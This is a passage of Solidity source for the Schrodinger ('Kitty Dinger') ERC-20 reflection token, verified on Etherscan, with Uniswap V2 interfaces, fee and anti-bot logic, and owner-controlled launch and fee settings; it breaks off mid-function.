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/** *Submitted for verification at Etherscan.io on 2021-10-29 */ /** *Submitted for verification at Etherscan.io on 2021-10-29 */ /* Website: https://schrondinger.com/ Telegram: https://t.me/KITTYDINGER Twitter: */ pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract schrodinger is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress; address payable public devAddress; address payable public liquidityAddress; address private _owner = 0x12f600DC6205301Bf6d7237b070f2369659DCCB2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public limitsInEffect = true; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 1e12 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Schrodinger"; string private constant _symbol = "Kitty Dinger"; uint8 private constant _decimals = 9; // these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract. uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private constant BUY = 1; uint256 private constant SELL = 2; uint256 private constant TRANSFER = 3; uint256 private buyOrSellSwitch; uint256 public _buyTaxFee = 2; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 7; uint256 public _sellTaxFee = 2; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 7; uint256 public tradingActiveBlock = 0; // 0 means trading is not active mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty uint256 public _liquidityTokensToSwap; uint256 public _marketingTokensToSwap; uint256 public maxTransactionAmount; uint256 public maxWalletAmount; mapping (address => bool) public _isExcludedMaxTransactionAmount; bool private gasLimitActive = true; uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public tradingActive = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SetAutomatedMarketMakerPair(address pair, bool value); event ExcludeFromReward(address excludedAddress); event IncludeInReward(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event TransferForeignToken(address token, uint256 amount); event UpdatedMarketingAddress(address marketing); event UpdatedLiquidityAddress(address liquidity); event OwnerForcedSwapBack(uint256 timestamp); event BoughtEarly(address indexed sniper); event RemovedSniper(address indexed notsnipersupposedly); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() payable { _rOwned[_owner] = _rTotal / 1000 * 30; _rOwned[address(this)] = _rTotal / 1000 * 970; maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWalletAmount = _tTotal * 15 / 1000; // 1.5% maxWalletAmount minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount marketingAddress = payable(0x0B1925a8F839E5f287E9AD95Fc2A1ADE4139242d); // Marketing Address devAddress = payable(0xfd8e067A0B8bC8612FE56CbE48af599De184Cfe7); // Dev Address liquidityAddress = payable(owner()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingAddress] = true; _isExcludedFromFee[liquidityAddress] = true; excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); emit Transfer(address(0), _owner, _tTotal * 30 / 1000); emit Transfer(address(0), address(this), _tTotal * 970 / 1000); } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) external view returns (bool) { return _isExcluded[account]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } // remove limits after token is stable - 30-60 minutes function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // once enabled, can never be turned off function enableTrading() internal onlyOwner { tradingActive = true; swapAndLiquifyEnabled = true; tradingActiveBlock = block.number; earlyBuyPenaltyEnd = block.timestamp + 72 hours; } // send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch) function launch() external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot relaunch."); enableTrading(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); require(address(this).balance > 0, "Must have ETH on contract to launch"); addLiquidity(balanceOf(address(this)), address(this).balance); transferOwnership(_owner); return true; } function minimumTokensBeforeSwapAmount() external view returns (uint256) { return minimumTokensBeforeSwap; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _isExcludedMaxTransactionAmount[pair] = value; if(value){excludeFromReward(pair);} if(!value){includeInReward(pair);} } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 200); gasPriceLimit = gas * 1 gwei; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){ boughtEarly[to] = true; emit BoughtEarly(to); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[to] < block.number && _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[to] = block.number; _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedMaxTransactionAmount[to]) { require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded"); } } } uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; // swap and liquify if ( !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && totalTokensToSwap > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } bool takeFee = true; // If any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax. } else { // Buy if (automatedMarketMakerPairs[from]) { removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; buyOrSellSwitch = BUY; } // Sell else if (automatedMarketMakerPairs[to]) { removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; buyOrSellSwitch = SELL; // higher tax if bought in the same block as trading active for 72 hours (sniper protect) if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){ _taxFee = _taxFee * 5; _liquidityFee = _liquidityFee * 5; } // Normal transfers do not get taxed } else { require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod."); removeAllFee(); buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax. } } _tokenTransfer(from, to, amount, takeFee); } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; // Halve the amount of liquidity tokens uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2); uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance.sub(ethForMarketing); uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 gos to dev ethForMarketing -= ethForDev; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; (bool success,) = address(marketingAddress).call{value: ethForMarketing}(""); (success,) = address(devAddress).call{value: ethForDev}(""); addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); // send leftover BNB to the marketing wallet so it doesn't get stuck on the contract. if(address(this).balance > 1e17){ (success,) = address(marketingAddress).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityAddress, block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { if(buyOrSellSwitch == BUY){ _liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee; } else if(buyOrSellSwitch == SELL){ _liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee; } uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } function removeBoughtEarly(address account) external onlyOwner { boughtEarly[account] = false; emit RemovedSniper(account); } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee) external onlyOwner { _buyTaxFee = buyTaxFee; _buyLiquidityFee = buyLiquidityFee; _buyMarketingFee = buyMarketingFee; require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 10, "Must keep buy taxes below 10%"); emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee); } function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee) external onlyOwner { _sellTaxFee = sellTaxFee; _sellLiquidityFee = sellLiquidityFee; _sellMarketingFee = sellMarketingFee; require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%"); emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee); } function setMarketingAddress(address _marketingAddress) external onlyOwner { 